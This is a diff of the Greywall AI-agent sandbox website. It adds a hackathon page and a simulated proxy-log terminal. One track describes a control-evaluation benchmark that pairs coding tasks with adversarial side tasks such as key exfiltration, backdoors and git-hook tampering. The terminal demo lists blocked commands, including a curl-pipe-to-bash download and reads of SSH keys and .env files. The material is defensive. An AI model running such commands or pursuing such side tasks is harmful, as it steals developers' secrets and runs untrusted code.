title: 'Control Evaluation Benchmark',
|
||||
hook: 'Build the test suite that measures how well sandboxes actually work.',
|
||||
color: 'from-rose-500/10 to-pink-500/5',
|
||||
borderColor: 'hover:border-rose-500/30',
|
||||
description: 'Define main tasks (real software engineering work) paired with side tasks (exfiltrate a key, install a backdoor, modify git hooks). Measure how much useful work an agent completes under Greywall\'s restrictions vs. how often adversarial goals succeed.',
|
||||
scoring: 'Show the safety/usefulness tradeoff. A good benchmark reveals real weaknesses, not just toy scenarios.',
|
||||
examples: ['Main/side task pairs', 'Policy quality scoring', 'Layer isolation tests', 'Reproducible evals'],
|
||||
Visual: BenchViz,
|
||||
},
|
||||
]
|
||||
|
||||
function TrackCard({ track, index }: { track: typeof tracks[0]; index: number }) {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
const { ref: spotlightRef, onMove } = useMouseSpotlight()
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={`transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}
|
||||
style={{ transitionDelay: `${index * 120}ms` }}
|
||||
>
|
||||
<div
|
||||
ref={spotlightRef}
|
||||
onMouseMove={onMove}
|
||||
className={`card-spotlight group relative rounded-2xl border border-border/40 ${track.borderColor} bg-gradient-to-br ${track.color} transition-all duration-300 overflow-hidden hover:-translate-y-0.5 hover:shadow-[0_8px_40px_rgba(0,0,0,0.2)]`}
|
||||
>
|
||||
<div className="absolute top-0 left-0 right-0 h-px bg-gradient-to-r from-transparent via-primary/30 to-transparent opacity-0 group-hover:opacity-100 transition-opacity" />
|
||||
|
||||
<div className="flex">
|
||||
{/* Content */}
|
||||
<div className="flex-1 p-8 sm:p-10 relative z-10">
|
||||
<h3 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-3">
|
||||
{track.title}
|
||||
</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-4 max-w-lg">
|
||||
{track.hook}
|
||||
</p>
|
||||
<p className="text-sm text-muted-foreground/80 font-sans leading-relaxed mb-2 max-w-lg">
|
||||
{track.description}
|
||||
</p>
|
||||
<p className="text-sm text-primary/80 font-sans font-medium mb-6 max-w-lg">
|
||||
{track.scoring}
|
||||
</p>
|
||||
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{track.examples.map((ex) => (
|
||||
<span key={ex} className="px-3 py-1.5 text-xs font-sans font-medium rounded-full bg-card/60 border border-border/30 text-muted-foreground backdrop-blur-sm hover:border-primary/20 hover:text-foreground transition-colors">
|
||||
{ex}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Side visual */}
|
||||
<div className="hidden md:block w-[220px] shrink-0 relative overflow-hidden">
|
||||
<track.Visual />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function Tracks() {
|
||||
return (
|
||||
<section id="tracks" className="py-24 sm:py-32 px-4 sm:px-6 relative">
|
||||
{/* Subtle background glow */}
|
||||
<div className="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 w-[800px] h-[600px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.04),transparent_70%)] pointer-events-none" />
|
||||
|
||||
<div className="relative mx-auto max-w-5xl">
|
||||
<div className="text-center mb-16">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight mb-4">
|
||||
Pick your track.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground max-w-2xl mx-auto">
|
||||
Six open-ended tracks, all building on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>.
|
||||
Go deep on one or try a few.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="space-y-6">
|
||||
{tracks.map((track, i) => (
|
||||
<TrackCard key={track.id} track={track} index={i} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Location ─── */
|
||||
|
||||
function Location() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-14 sm:py-20 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className={`mx-auto max-w-5xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<div className="inline-flex items-center gap-2 mb-3">
|
||||
<MapPin className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">Location</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Montreal.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground">
|
||||
Venue and dates announced soon.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── FAQ ─── */
|
||||
|
||||
const faqs = [
|
||||
{ q: 'Can I work on more than one track?', a: 'Yes. You can tackle as many tracks as you want over 48 hours. Focus deep on one or spread across several.' },
|
||||
{ q: 'Do I need security or ML experience?', a: 'No. The tracks are designed so you can approach them with heuristics, ML, or creative engineering. If you can write code, you can participate.' },
|
||||
{ q: 'How are teams formed?', a: 'We split participants into teams of 2 to 3. You can request to be grouped with someone, or we will match you.' },
|
||||
{ q: 'Do I need to know Greywall?', a: 'Nope. We provide setup support and Greywall maintainers are on hand throughout.' },
|
||||
{ q: 'What happens to my code?', a: 'Your code is yours. Winners get featured on the permanent Hall of Fame page, added as contributors in the GitHub README, and invited to an exclusive Greyhaven CEO dinner.' },
|
||||
{ q: 'What do I need to bring?', a: 'A laptop. We provide Greywall infrastructure, docs, food, and caffeine.' },
|
||||
]
|
||||
|
||||
function FAQ() {
|
||||
return (
|
||||
<section id="faq" className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-16">FAQ.</h2>
|
||||
<div>
|
||||
{faqs.map((faq) => <FAQItem key={faq.q} question={faq.q} answer={faq.a} />)}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button onClick={() => setOpen(!open)} className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer group">
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold group-hover:text-primary transition-colors">{question}</h3>
|
||||
<ChevronDown className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${open ? 'rotate-180' : ''}`} />
|
||||
</button>
|
||||
<div className={`grid transition-[grid-template-rows] duration-200 ${open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'}`}>
|
||||
<div className="overflow-hidden">
|
||||
<p className="pb-5 text-muted-foreground font-serif text-base leading-relaxed">{answer}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Final CTA ─── */
|
||||
|
||||
function FinalCTA() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30 relative overflow-hidden">
|
||||
{/* Aurora background */}
|
||||
<div className="absolute inset-0 aurora-bg opacity-60" />
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_center,rgba(217,94,42,0.1)_0%,transparent_60%)]" />
|
||||
|
||||
<div className={`relative mx-auto max-w-3xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight mb-6 text-shimmer">
|
||||
Build something that matters.
|
||||
</h2>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Page ─── */
|
||||
|
||||
export default function HackathonsPage() {
|
||||
return (
|
||||
<main className="min-h-screen relative">
|
||||
<NoiseOverlay />
|
||||
<Nav />
|
||||
<Hero />
|
||||
<TerminalShowcase />
|
||||
<InfoSection />
|
||||
<Tracks />
|
||||
<Location />
|
||||
<FAQ />
|
||||
<FinalCTA />
|
||||
<Footer />
|
||||
</main>
|
||||
)
|
||||
}
|
||||
@@ -20,7 +20,7 @@ export const metadata: Metadata = {
|
||||
metadataBase: new URL('https://greywall.io'),
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description:
|
||||
'Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Five kernel-enforced security layers in one command. Open source.',
|
||||
'Frictionless sandboxing with real-time observability for AI agents on Linux and macOS. One command, nothing to configure. Open source.',
|
||||
icons: {
|
||||
icon: [
|
||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||
@@ -31,7 +31,7 @@ export const metadata: Metadata = {
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Container-free, default-deny sandboxing with real-time observability for AI agents. Five kernel-enforced security layers in one command.',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
url: 'https://greywall.io',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
@@ -40,7 +40,7 @@ export const metadata: Metadata = {
|
||||
twitter: {
|
||||
card: 'summary_large_image',
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Container-free, default-deny sandboxing with real-time observability for AI agents. Five kernel-enforced security layers in one command.',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
images: ['/og-image.png'],
|
||||
},
|
||||
alternates: {
|
||||
@@ -71,7 +71,7 @@ const jsonLd = {
|
||||
'@id': 'https://greywall.io/#software',
|
||||
name: 'Greywall',
|
||||
description:
|
||||
'Container-free, default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
'Frictionless sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
applicationCategory: 'SecurityApplication',
|
||||
operatingSystem: 'Linux, macOS',
|
||||
url: 'https://greywall.io',
|
||||
|
||||
@@ -148,8 +148,7 @@ export function Comparison() {
|
||||
Not all sandboxes are equal.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||
Security that adds friction doesn't get used. Here's how Greywall compares to the alternatives.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -48,11 +48,11 @@ export function Control() {
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Default deny. Explicit allow.
|
||||
Nothing is allowed unless you say so.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Agents inherit your full permissions. Greywall flips this: nothing is accessible
|
||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||
Greywall gives teams and AI agents the freedom to operate within precise security
|
||||
boundaries.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -121,7 +121,7 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Full network namespace isolation. The process can't see the host network.
|
||||
Every packet hits the TUN device and routes through GreyProxy, including
|
||||
Every packet hits the TUN device and routes through Greywall, including
|
||||
binaries that ignore proxy env vars.
|
||||
</p>
|
||||
</div>
|
||||
@@ -162,7 +162,7 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
||||
reachable. GreyProxy then applies domain-level allow/deny rules.
|
||||
reachable. Greywall then applies domain-level allow/deny rules.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
@@ -239,8 +239,8 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
|
||||
? 'No need to figure out which paths to allow. Traces what your agent accesses via strace and generates a least-privilege policy automatically. No special permissions needed.'
|
||||
: 'No need to figure out which paths to allow. Traces what your agent accesses via macOS eslogger and generates a least-privilege policy automatically.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -7,22 +7,22 @@ const faqs = [
|
||||
{
|
||||
question: 'What is Greywall?',
|
||||
answer:
|
||||
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> — and it enforces a default-deny security policy at the kernel level. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
|
||||
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> — and nothing is accessible unless you explicitly allow it. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
|
||||
},
|
||||
{
|
||||
question: 'How do I sandbox my AI coding agent?',
|
||||
answer:
|
||||
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the GreyProxy dashboard.',
|
||||
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the Greywall dashboard.',
|
||||
},
|
||||
{
|
||||
question: 'How is Greywall different from running agents in Docker?',
|
||||
answer:
|
||||
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
|
||||
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. That friction is why most people just don\'t bother. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
|
||||
},
|
||||
{
|
||||
question: 'Does Greywall work on macOS?',
|
||||
answer:
|
||||
'Yes. On macOS, Greywall uses Seatbelt — Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a deny-by-default sandbox profile for each session, covering filesystem access, network connections, and IPC. Network traffic is routed through GreyProxy via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
|
||||
'Yes. On macOS, Greywall uses Seatbelt — Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a sandbox profile for each session that blocks everything unless explicitly allowed, covering filesystem access, network connections, and IPC. Network traffic is routed through Greywall via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
|
||||
},
|
||||
{
|
||||
question: 'Is Greywall open source?',
|
||||
|
||||
91
components/hackathons/live-terminal.tsx
Normal file
91
components/hackathons/live-terminal.tsx
Normal file
@@ -0,0 +1,91 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Simulated live data stream terminal ─── */
|
||||
|
||||
const streamLines = [
|
||||
{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
|
||||
{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
|
||||
{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
|
||||
{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
|
||||
{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
|
||||
{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
|
||||
{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
|
||||
]
|
||||
|
||||
export function LiveTerminal() {
|
||||
const [lines, setLines] = useState<typeof streamLines>([])
|
||||
const [currentIndex, setCurrentIndex] = useState(0)
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const interval = setInterval(() => {
|
||||
setCurrentIndex((prev) => {
|
||||
const next = (prev + 1) % streamLines.length
|
||||
setLines((prevLines) => {
|
||||
const newLines = [...prevLines, streamLines[next]]
|
||||
return newLines.slice(-8) // Keep last 8 visible
|
||||
})
|
||||
return next
|
||||
})
|
||||
}, 1800)
|
||||
|
||||
return () => clearInterval(interval)
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (containerRef.current) {
|
||||
containerRef.current.scrollTop = containerRef.current.scrollHeight
|
||||
}
|
||||
}, [lines])
|
||||
|
||||
return (
|
||||
<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
|
||||
{/* Title bar */}
|
||||
<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
|
||||
<div className="flex gap-1.5">
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
|
||||
</div>
|
||||
<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
|
||||
<div className="ml-auto flex items-center gap-1.5">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
|
||||
<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Stream content */}
|
||||
<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
|
||||
{lines.map((line, i) => (
|
||||
<div
|
||||
key={`${i}-${line.text}`}
|
||||
className="flex items-start gap-2 py-0.5 animate-fade-up"
|
||||
style={{ animationDuration: '0.3s' }}
|
||||
>
|
||||
<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
|
||||
{line.type === 'block' ? 'DENY' : ' OK '}
|
||||
</span>
|
||||
<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
|
||||
<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
|
||||
</div>
|
||||
))}
|
||||
{/* Blinking cursor */}
|
||||
<div className="flex items-center gap-1 pt-1">
|
||||
<span className="text-primary/60">{'>'}</span>
|
||||
<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
219
components/hackathons/shield-scene.tsx
Normal file
219
components/hackathons/shield-scene.tsx
Normal file
@@ -0,0 +1,219 @@
|
||||
'use client'
|
||||
|
||||
import { useRef, useMemo } from 'react'
|
||||
import { Canvas, useFrame } from '@react-three/fiber'
|
||||
import { Float } from '@react-three/drei'
|
||||
import * as THREE from 'three'
|
||||
|
||||
/* ─── Orbiting particles ─── */
|
||||
|
||||
function Particles({ count = 80 }: { count?: number }) {
|
||||
const mesh = useRef<THREE.InstancedMesh>(null)
|
||||
const dummy = useMemo(() => new THREE.Object3D(), [])
|
||||
|
||||
const particles = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => ({
|
||||
radius: 1.8 + Math.random() * 1.4,
|
||||
speed: 0.15 + Math.random() * 0.3,
|
||||
offset: (i / count) * Math.PI * 2,
|
||||
y: (Math.random() - 0.5) * 2.5,
|
||||
size: 0.015 + Math.random() * 0.025,
|
||||
}))
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!mesh.current) return
|
||||
const t = clock.getElapsedTime()
|
||||
particles.forEach((p, i) => {
|
||||
const angle = p.offset + t * p.speed
|
||||
dummy.position.set(
|
||||
Math.cos(angle) * p.radius,
|
||||
p.y + Math.sin(t * 0.5 + p.offset) * 0.3,
|
||||
Math.sin(angle) * p.radius
|
||||
)
|
||||
dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2))
|
||||
dummy.updateMatrix()
|
||||
mesh.current!.setMatrixAt(i, dummy.matrix)
|
||||
})
|
||||
mesh.current.instanceMatrix.needsUpdate = true
|
||||
})
|
||||
|
||||
return (
|
||||
<instancedMesh ref={mesh} args={[undefined, undefined, count]}>
|
||||
<sphereGeometry args={[1, 8, 8]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.6} />
|
||||
</instancedMesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Orbital rings ─── */
|
||||
|
||||
function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) {
|
||||
const ref = useRef<THREE.Mesh>(null)
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.z = tilt
|
||||
ref.current.rotation.y = clock.getElapsedTime() * speed
|
||||
})
|
||||
|
||||
return (
|
||||
<mesh ref={ref}>
|
||||
<torusGeometry args={[radius, 0.005, 16, 100]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.15} />
|
||||
</mesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Shield geometry ─── */
|
||||
|
||||
function ShieldMesh() {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const shieldShape = useMemo(() => {
|
||||
const shape = new THREE.Shape()
|
||||
// Shield outline
|
||||
shape.moveTo(0, 1.3)
|
||||
shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4)
|
||||
shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3)
|
||||
shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4)
|
||||
shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3)
|
||||
return shape
|
||||
}, [])
|
||||
|
||||
const extrudeSettings = useMemo(() => ({
|
||||
depth: 0.15,
|
||||
bevelEnabled: true,
|
||||
bevelThickness: 0.03,
|
||||
bevelSize: 0.03,
|
||||
bevelSegments: 3,
|
||||
}), [])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15
|
||||
})
|
||||
|
||||
return (
|
||||
<Float speed={1.5} rotationIntensity={0.2} floatIntensity={0.3}>
|
||||
<group ref={ref}>
|
||||
{/* Shield body */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, extrudeSettings]} />
|
||||
<meshStandardMaterial
|
||||
color="#1a1a18"
|
||||
metalness={0.7}
|
||||
roughness={0.3}
|
||||
emissive="#D95E2A"
|
||||
emissiveIntensity={0.05}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Inner shield face */}
|
||||
<mesh position={[0, 0, 0.08]}>
|
||||
<shapeGeometry args={[shieldShape]} />
|
||||
<meshStandardMaterial
|
||||
color="#D95E2A"
|
||||
metalness={0.5}
|
||||
roughness={0.4}
|
||||
transparent
|
||||
opacity={0.15}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Shield edge glow */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, { ...extrudeSettings, depth: 0.16 }]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.08} wireframe />
|
||||
</mesh>
|
||||
|
||||
{/* Center node */}
|
||||
<mesh position={[0, 0.1, 0.1]}>
|
||||
<sphereGeometry args={[0.08, 16, 16]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.8} />
|
||||
</mesh>
|
||||
|
||||
{/* Network nodes */}
|
||||
{[
|
||||
[0, 0.55, 0.1],
|
||||
[-0.35, -0.15, 0.1],
|
||||
[0.35, -0.15, 0.1],
|
||||
[0, -0.55, 0.1],
|
||||
].map((pos, i) => (
|
||||
<mesh key={i} position={pos as [number, number, number]}>
|
||||
<sphereGeometry args={[0.045, 12, 12]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.5} />
|
||||
</mesh>
|
||||
))}
|
||||
</group>
|
||||
</Float>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Data stream lines flowing around ─── */
|
||||
|
||||
function DataStreams({ count = 12 }: { count?: number }) {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const streams = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => {
|
||||
const angle = (i / count) * Math.PI * 2
|
||||
const radius = 2.0 + Math.random() * 0.5
|
||||
const points = Array.from({ length: 20 }, (_, j) => {
|
||||
const t = j / 19
|
||||
const a = angle + t * Math.PI * 0.5
|
||||
return new THREE.Vector3(
|
||||
Math.cos(a) * radius * (1 - t * 0.3),
|
||||
(t - 0.5) * 3,
|
||||
Math.sin(a) * radius * (1 - t * 0.3)
|
||||
)
|
||||
})
|
||||
return { points, speed: 0.5 + Math.random() * 0.5 }
|
||||
})
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = clock.getElapsedTime() * 0.05
|
||||
})
|
||||
|
||||
return (
|
||||
<group ref={ref}>
|
||||
{streams.map((stream, i) => {
|
||||
const curve = new THREE.CatmullRomCurve3(stream.points)
|
||||
return (
|
||||
<mesh key={i}>
|
||||
<tubeGeometry args={[curve, 20, 0.003, 4, false]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.1} />
|
||||
</mesh>
|
||||
)
|
||||
})}
|
||||
</group>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Main scene ─── */
|
||||
|
||||
export function ShieldScene() {
|
||||
return (
|
||||
<div className="w-full h-full min-h-[300px]">
|
||||
<Canvas
|
||||
camera={{ position: [0, 0, 5.5], fov: 42 }}
|
||||
dpr={[1, 2]}
|
||||
gl={{ antialias: true, alpha: true }}
|
||||
style={{ background: 'transparent' }}
|
||||
>
|
||||
<ambientLight intensity={0.4} />
|
||||
<pointLight position={[5, 5, 5]} intensity={0.8} color="#F9F9F7" />
|
||||
<pointLight position={[-3, -2, 4]} intensity={0.3} color="#D95E2A" />
|
||||
|
||||
<ShieldMesh />
|
||||
<Particles />
|
||||
<DataStreams />
|
||||
<OrbitalRing radius={2.2} speed={0.1} tilt={0.3} />
|
||||
<OrbitalRing radius={2.8} speed={-0.07} tilt={-0.5} />
|
||||
<OrbitalRing radius={1.6} speed={0.15} tilt={0.8} />
|
||||
</Canvas>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
550
components/hackathons/track-visuals.tsx
Normal file
550
components/hackathons/track-visuals.tsx
Normal file
@@ -0,0 +1,550 @@
|
||||
'use client'
|
||||
|
||||
import { useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Animated data stream (Track 1) ─── */
|
||||
/* Compact flowing waveform + particles, self-contained */
|
||||
|
||||
export function StreamViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
